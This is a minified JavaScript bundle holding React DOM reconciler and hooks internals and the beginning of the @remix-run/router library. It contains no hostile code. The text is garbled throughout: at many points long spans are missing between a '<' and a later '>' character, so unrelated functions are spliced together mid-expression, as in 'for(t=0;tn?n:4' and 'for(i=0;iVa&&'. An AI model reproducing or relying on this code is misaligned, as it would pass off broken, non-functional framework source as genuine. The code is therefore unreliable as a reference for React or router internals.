w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Rf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Fa=Uw(!0),Vw=Uw(!1),Cc=mi(null),Pc=null,ka=null,Dh=null;function Rh(){Dh=ka=Pc=null}function $h(e){var t=Cc.current;De(Cc),e._currentValue=t}function Xp(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Ta(e,t){Pc=e,Dh=ka=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Bt=!0),e.firstContext=null)}function bn(e){var t=e._currentValue;if(Dh!==e)if(e={context:e,memoizedValue:t,next:null},ka===null){if(Pc===null)throw Error(Z(308));ka=e,Pc.dependencies={lanes:0,firstContext:e}}else ka=ka.next=e;return t}var Oi=null;function Bh(e){Oi===null?Oi=[e]:Oi.push(e)}function Hw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Bh(t)):(n.next=i.next,i.next=n),t.interleaved=n,vr(e,r)}function vr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Fr=!1;function Fh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Kw(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function pr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function ei(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,be&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,vr(e,n)}return i=r.interleaved,i===null?(t.next=t,Bh(r)):(t.next=i.next,i.next=t),r.interleaved=t,vr(e,n)}function ec(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,zh(e,n)}}function Yv(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Ec(e,t,n,r){var i=e.updateQueue;Fr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ke({},f,m);break e;case 2:Fr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Ki|=o,e.lanes=o,e.memoizedState=f}}function Gv(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Tf.transition;Tf.transition={};try{e(!1),t()}finally{Pe=n,Tf.transition=r}}function cj(){return wn().memoizedState}function $C(e,t,n){var r=ni(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},uj(e))dj(t,n);else if(n=Hw(e,t,n,r),n!==null){var i=Tt();Ln(n,e,r,i),fj(n,t,r)}}function BC(e,t,n){var r=ni(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(uj(e))dj(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Dn(l,o)){var c=t.interleaved;c===null?(i.next=i,Bh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Hw(e,t,i,r),n!==null&&(i=Tt(),Ln(n,e,r,i),fj(n,t,r))}}function uj(e){var t=e.alternate;return e===Ve||t!==null&&t===Ve}function dj(e,t){Xs=_c=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function fj(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,zh(e,n)}}var Oc={readContext:bn,useCallback:zt,useContext:zt,useEffect:zt,useImperativeHandle:zt,useInsertionEffect:zt,useLayoutEffect:zt,useMemo:zt,useReducer:zt,useRef:zt,useState:zt,useDebugValue:zt,useDeferredValue:zt,useTransition:zt,useMutableSource:zt,useSyncExternalStore:zt,useId:zt,unstable_isNewReconciler:!1},FC={readContext:bn,useCallback:function(e,t){return Kn().memoizedState=[e,t===void 0?null:t],e},useContext:bn,useEffect:Zv,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,nc(4194308,4,ij.bind(null,t,e),n)},useLayoutEffect:function(e,t){return nc(4194308,4,e,t)},useInsertionEffect:function(e,t){return nc(4,2,e,t)},useMemo:function(e,t){var n=Kn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Kn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=$C.bind(null,Ve,e),[r.memoizedState,e]},useRef:function(e){var t=Kn();return e={current:e},t.memoizedState=e},useState:Xv,useDebugValue:Gh,useDeferredValue:function(e){return Kn().memoizedState=e},useTransition:function(){var e=Xv(!1),t=e[0];return e=RC.bind(null,e[1]),Kn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Ve,i=Kn();if(Be){if(n===void 0)throw Error(Z(407));n=n()}else{if(n=t(),ht===null)throw Error(Z(349));Hi&30||Xw(r,t,n)}i.memoizedState=n;var a={value:n,getSnapshot:t};return i.queue=a,Zv(Qw.bind(null,r,a,e),[e]),r.flags|=2048,xo(9,Zw.bind(null,r,a,n,t),void 0,null),n},useId:function(){var e=Kn(),t=ht.identifierPrefix;if(Be){var n=ur,r=cr;n=(r&~(1<<32-Mn(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=mo++,0<\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=o.createElement(n,{is:r.is}):(e=o.createElement(n),n==="select"&&(o=e,r.multiple?o.multiple=!0:r.size&&(o.size=r.size))):e=o.createElementNS(e,n),e[qn]=t,e[uo]=r,jj(e,t,!1,!1),t.stateNode=e;e:{switch(o=Op(n,r),n){case"dialog":Le("cancel",e),Le("close",e),i=r;break;case"iframe":case"object":case"embed":Le("load",e),i=r;break;case"video":case"audio":for(i=0;iVa&&(t.flags|=128,r=!0,Ns(a,!1),t.lanes=4194304)}else{if(!r)if(e=Ac(o),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),Ns(a,!0),a.tail===null&&a.tailMode==="hidden"&&!o.alternate&&!Be)return Ct(t),null}else 2*Je()-a.renderingStartTime>Va&&n!==1073741824&&(t.flags|=128,r=!0,Ns(a,!1),t.lanes=4194304);a.isBackwards?(o.sibling=t.child,t.child=o):(n=a.last,n!==null?n.sibling=o:t.child=o,a.last=o)}return a.tail!==null?(t=a.tail,a.rendering=t,a.tail=t.sibling,a.renderingStartTime=Je(),t.sibling=null,n=Ue.current,Me(Ue,r?n&1|2:n&1),t):(Ct(t),null);case 22:case 23:return tx(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Zt&1073741824&&(Ct(t),t.subtreeFlags&6&&(t.flags|=8192)):Ct(t),null;case 24:return null;case 25:return null}throw Error(Z(156,t.tag))}function GC(e,t){switch(Lh(t),t.tag){case 1:return Ht(t.type)&&kc(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Wa(),De(Vt),De(Et),Vh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Uh(t),null;case 13:if(De(Ue),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(Z(340));Ba()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return De(Ue),null;case 4:return Wa(),null;case 10:return $h(t.type._context),null;case 22:case 23:return tx(),null;case 24:return null;default:return null}}var Nl=!1,Pt=!1,XC=typeof WeakSet=="function"?WeakSet:Set,ie=null;function Na(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){Xe(e,t,r)}else n.current=null}function am(e,t,n){try{n()}catch(r){Xe(e,t,r)}}var lg=!1;function ZC(e,t){if(Wp=yc,e=Ew(),Th(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var i=r.anchorOffset,a=r.focusNode;r=r.focusOffset;try{n.nodeType,a.nodeType}catch{n=null;break e}var o=0,l=-1,c=-1,u=0,d=0,f=e,m=null;t:for(;;){for(var h;f!==n||i!==0&&f.nodeType!==3||(l=o+i),f!==a||r!==0&&f.nodeType!==3||(c=o+r),f.nodeType===3&&(o+=f.nodeValue.length),(h=f.firstChild)!==null;)m=f,f=h;for(;;){if(f===e)break t;if(m===n&&++u===i&&(l=o),m===a&&++d===r&&(c=o),(h=f.nextSibling)!==null)break;f=m,m=f.parentNode}f=h}n=l===-1||c===-1?null:{start:l,end:c}}else n=null}n=n||{start:0,end:0}}else n=null;for(Up={focusedElem:e,selectionRange:n},yc=!1,ie=t;ie!==null;)if(t=ie,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,ie=e;else for(;ie!==null;){t=ie;try{var x=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(x!==null){var g=x.memoizedProps,y=x.memoizedState,v=t.stateNode,b=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:Pn(t.type,g),y);v.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var w=t.stateNode.containerInfo;w.nodeType===1?w.textContent="":w.nodeType===9&&w.documentElement&&w.removeChild(w.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(Z(163))}}catch(j){Xe(t,t.return,j)}if(e=t.sibling,e!==null){e.return=t.return,ie=e;break}ie=t.return}return x=lg,lg=!1,x}function Zs(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var i=r=r.next;do{if((i.tag&e)===e){var a=i.destroy;i.destroy=void 0,a!==void 0&&am(t,n,a)}i=i.next}while(i!==r)}}function Uu(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function sm(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function Sj(e){var t=e.alternate;t!==null&&(e.alternate=null,Sj(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[qn],delete t[uo],delete t[Kp],delete t[TC],delete t[MC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function zj(e){return e.tag===5||e.tag===3||e.tag===4}function cg(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||zj(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function om(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=jc));else if(r!==4&&(e=e.child,e!==null))for(om(e,t,n),e=e.sibling;e!==null;)om(e,t,n),e=e.sibling}function lm(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(lm(e,t,n),e=e.sibling;e!==null;)lm(e,t,n),e=e.sibling}var bt=null,En=!1;function Rr(e,t,n){for(n=n.child;n!==null;)Cj(e,t,n),n=n.sibling}function Cj(e,t,n){if(Zn&&typeof Zn.onCommitFiberUnmount=="function")try{Zn.onCommitFiberUnmount(Lu,n)}catch{}switch(n.tag){case 5:Pt||Na(n,t);case 6:var r=bt,i=En;bt=null,Rr(e,t,n),bt=r,En=i,bt!==null&&(En?(e=bt,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):bt.removeChild(n.stateNode));break;case 18:bt!==null&&(En?(e=bt,n=n.stateNode,e.nodeType===8?Af(e.parentNode,n):e.nodeType===1&&Af(e,n),ao(e)):Af(bt,n.stateNode));break;case 4:r=bt,i=En,bt=n.stateNode.containerInfo,En=!0,Rr(e,t,n),bt=r,En=i;break;case 0:case 11:case 14:case 15:if(!Pt&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){i=r=r.next;do{var a=i,o=a.destroy;a=a.tag,o!==void 0&&(a&2||a&4)&&am(n,t,o),i=i.next}while(i!==r)}Rr(e,t,n);break;case 1:if(!Pt&&(Na(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(l){Xe(n,t,l)}Rr(e,t,n);break;case 21:Rr(e,t,n);break;case 22:n.mode&1?(Pt=(r=Pt)||n.memoizedState!==null,Rr(e,t,n),Pt=r):Rr(e,t,n);break;default:Rr(e,t,n)}}function ug(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new XC),t.forEach(function(r){var i=sP.bind(null,e,r);n.has(r)||(n.add(r),r.then(i,i))})}}function zn(e,t){var n=t.deletions;if(n!==null)for(var r=0;ri&&(i=o),r&=~a}if(r=i,r=Je()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*JC(r/1960))-r,10e?16:e,qr===null)var r=!1;else{if(e=qr,qr=null,Lc=0,be&6)throw Error(Z(331));var i=be;for(be|=4,ie=e.current;ie!==null;){var a=ie,o=a.child;if(ie.flags&16){var l=a.deletions;if(l!==null){for(var c=0;cJe()-Jh?Di(e,0):Qh|=n),Kt(e,t)}function Lj(e,t){t===0&&(e.mode&1?(t=hl,hl<<=1,!(hl&130023424)&&(hl=4194304)):t=1);var n=Tt();e=vr(e,t),e!==null&&(Bo(e,t,n),Kt(e,n))}function aP(e){var t=e.memoizedState,n=0;t!==null&&(n=t.retryLane),Lj(e,n)}function sP(e,t){var n=0;switch(e.tag){case 13:var r=e.stateNode,i=e.memoizedState;i!==null&&(n=i.retryLane);break;case 19:r=e.stateNode;break;default:throw Error(Z(314))}r!==null&&r.delete(t),Lj(e,n)}var Ij;Ij=function(e,t,n){if(e!==null)if(e.memoizedProps!==t.pendingProps||Vt.current)Bt=!0;else{if(!(e.lanes&n)&&!(t.flags&128))return Bt=!1,qC(e,t,n);Bt=!!(e.flags&131072)}else Bt=!1,Be&&t.flags&1048576&&Bw(t,zc,t.index);switch(t.lanes=0,t.tag){case 2:var r=t.type;rc(e,t),e=t.pendingProps;var i=$a(t,Et.current);Ta(t,n),i=Kh(null,t,r,e,i,n);var a=qh();return t.flags|=1,typeof i=="object"&&i!==null&&typeof i.render=="function"&&i.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Ht(r)?(a=!0,Nc(t)):a=!1,t.memoizedState=i.state!==null&&i.state!==void 0?i.state:null,Fh(t),i.updater=Wu,t.stateNode=i,i._reactInternals=t,Qp(t,r,e,n),t=tm(null,t,r,!0,a,n)):(t.tag=0,Be&&a&&Mh(t),_t(null,t,i,n),t=t.child),t;case 16:r=t.elementType;e:{switch(rc(e,t),e=t.pendingProps,i=r._init,r=i(r._payload),t.type=r,i=t.tag=lP(r),e=Pn(r,e),i){case 0:t=em(null,t,r,e,n);break e;case 1:t=ag(null,t,r,e,n);break e;case 11:t=rg(null,t,r,e,n);break e;case 14:t=ig(null,t,r,Pn(r.type,e),n);break e}throw Error(Z(306,r,""))}return t;case 0:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),em(e,t,r,i,n);case 1:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),ag(e,t,r,i,n);case 3:e:{if(yj(t),e===null)throw Error(Z(387));r=t.pendingProps,a=t.memoizedState,i=a.element,Kw(e,t),Ec(t,r,null,n);var o=t.memoizedState;if(r=o.element,a.isDehydrated)if(a={element:r,isDehydrated:!1,cache:o.cache,pendingSuspenseBoundaries:o.pendingSuspenseBoundaries,transitions:o.transitions},t.updateQueue.baseState=a,t.memoizedState=a,t.flags&256){i=Ua(Error(Z(423)),t),t=sg(e,t,r,n,i);break e}else if(r!==i){i=Ua(Error(Z(424)),t),t=sg(e,t,r,n,i);break e}else for(Jt=Jr(t.stateNode.containerInfo.firstChild),tn=t,Be=!0,An=null,n=Vw(t,null,r,n),t.child=n;n;)n.flags=n.flags&-3|4096,n=n.sibling;else{if(Ba(),r===i){t=gr(e,t,n);break e}_t(e,t,r,n)}t=t.child}return t;case 5:return qw(t),e===null&&Gp(t),r=t.type,i=t.pendingProps,a=e!==null?e.memoizedProps:null,o=i.children,Vp(r,i)?o=null:a!==null&&Vp(r,a)&&(t.flags|=32),gj(e,t),_t(e,t,o,n),t.child;case 6:return e===null&&Gp(t),null;case 13:return bj(e,t,n);case 4:return Wh(t,t.stateNode.containerInfo),r=t.pendingProps,e===null?t.child=Fa(t,null,r,n):_t(e,t,r,n),t.child;case 11:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),rg(e,t,r,i,n);case 7:return _t(e,t,t.pendingProps,n),t.child;case 8:return _t(e,t,t.pendingProps.children,n),t.child;case 12:return _t(e,t,t.pendingProps.children,n),t.child;case 10:e:{if(r=t.type._context,i=t.pendingProps,a=t.memoizedProps,o=i.value,Me(Cc,r._currentValue),r._currentValue=o,a!==null)if(Dn(a.value,o)){if(a.children===i.children&&!Vt.current){t=gr(e,t,n);break e}}else for(a=t.child,a!==null&&(a.return=t);a!==null;){var l=a.dependencies;if(l!==null){o=a.child;for(var c=l.firstContext;c!==null;){if(c.context===r){if(a.tag===1){c=pr(-1,n&-n),c.tag=2;var u=a.updateQueue;if(u!==null){u=u.shared;var d=u.pending;d===null?c.next=c:(c.next=d.next,d.next=c),u.pending=c}}a.lanes|=n,c=a.alternate,c!==null&&(c.lanes|=n),Xp(a.return,n,t),l.lanes|=n;break}c=c.next}}else if(a.tag===10)o=a.type===t.type?null:a.child;else if(a.tag===18){if(o=a.return,o===null)throw Error(Z(341));o.lanes|=n,l=o.alternate,l!==null&&(l.lanes|=n),Xp(o,n,t),o=a.sibling}else o=a.child;if(o!==null)o.return=a;else for(o=a;o!==null;){if(o===t){o=null;break}if(a=o.sibling,a!==null){a.return=o.return,o=a;break}o=o.return}a=o}_t(e,t,i.children,n),t=t.child}return t;case 9:return i=t.type,r=t.pendingProps.children,Ta(t,n),i=bn(i),r=r(i),t.flags|=1,_t(e,t,r,n),t.child;case 14:return r=t.type,i=Pn(r,t.pendingProps),i=Pn(r.type,i),ig(e,t,r,i,n);case 15:return xj(e,t,t.type,t.pendingProps,n);case 17:return r=t.type,i=t.pendingProps,i=t.elementType===r?i:Pn(r,i),rc(e,t),t.tag=1,Ht(r)?(e=!0,Nc(t)):e=!1,Ta(t,n),pj(t,r,i),Qp(t,r,i,n),tm(null,t,r,!0,e,n);case 19:return wj(e,t,n);case 22:return vj(e,t,n)}throw Error(Z(156,t.tag))};function Dj(e,t){return uw(e,t)}function oP(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function vn(e,t,n,r){return new oP(e,t,n,r)}function rx(e){return e=e.prototype,!(!e||!e.isReactComponent)}function lP(e){if(typeof e=="function")return rx(e)?1:0;if(e!=null){if(e=e.$$typeof,e===jh)return 11;if(e===kh)return 14}return 2}function ri(e,t){var n=e.alternate;return n===null?(n=vn(e.tag,t,e.key,e.mode),n.elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=e.flags&14680064,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function sc(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")rx(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case ha:return Ri(n.children,i,a,t);case wh:o=8,i|=8;break;case jp:return e=vn(12,n,t,i|2),e.elementType=jp,e.lanes=a,e;case kp:return e=vn(13,n,t,i),e.elementType=kp,e.lanes=a,e;case Np:return e=vn(19,n,t,i),e.elementType=Np,e.lanes=a,e;case q2:return Hu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case H2:o=10;break e;case K2:o=9;break e;case jh:o=11;break e;case kh:o=14;break e;case Br:o=16,r=null;break e}throw Error(Z(130,e==null?e:typeof e,""))}return t=vn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Ri(e,t,n,r){return e=vn(7,e,r,t),e.lanes=n,e}function Hu(e,t,n,r){return e=vn(22,e,r,t),e.elementType=q2,e.lanes=n,e.stateNode={isHidden:!1},e}function Rf(e,t,n){return e=vn(6,e,null,t),e.lanes=n,e}function $f(e,t,n){return t=vn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function cP(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=yf(0),this.expirationTimes=yf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=yf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function ix(e,t,n,r,i,a,o,l,c){return e=new cP(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=vn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Fh(a),e}function uP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Fj)}catch(e){console.error(e)}}Fj(),F2.exports=on;var lx=F2.exports,gg=lx;bp.createRoot=gg.createRoot,bp.hydrateRoot=gg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function go(){return go=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function cx(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function xP(){return Math.random().toString(36).substr(2,8)}function bg(e,t){return{usr:e.state,key:e.key,idx:t}}function pm(e,t,n,r){return n===void 0&&(n=null),go({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?ns(t):t,{state:n,key:t&&t.key||r||xP()})}function Rc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function ns(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function vP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=Yr.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(go({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=Yr.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=Yr.Push;let b=pm(g.location,y,v);u=d()+1;let w=bg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=Yr.Replace;let b=pm(g.location,y,v);u=d();let w=bg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Rc(y);return b=b.replace(/ $/,"%20"),He(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(yg,f),c=y,()=>{i.removeEventListener(yg,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var wg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(wg||(wg={}));function gP(e,t,n){return n===void 0&&(n="/"),yP(e,t,n)}function yP(e,t,n,r){let i=typeof t=="string"?ns(t):t,a=Ha(i.pathname||"/",n);if(a==null)return null;let o=Wj(e);bP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(He(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=ii([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(He(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Wj(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:CP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Uj(a.path))i(a,o,c)}),t}function Uj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Uj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function bP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:PP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const wP=/^:[\w-]+$/,jP=3,kP=2,NP=1,SP=10,zP=-2,jg=e=>e==="*";function CP(e,t){let n=e.split("/"),r=n.length;return 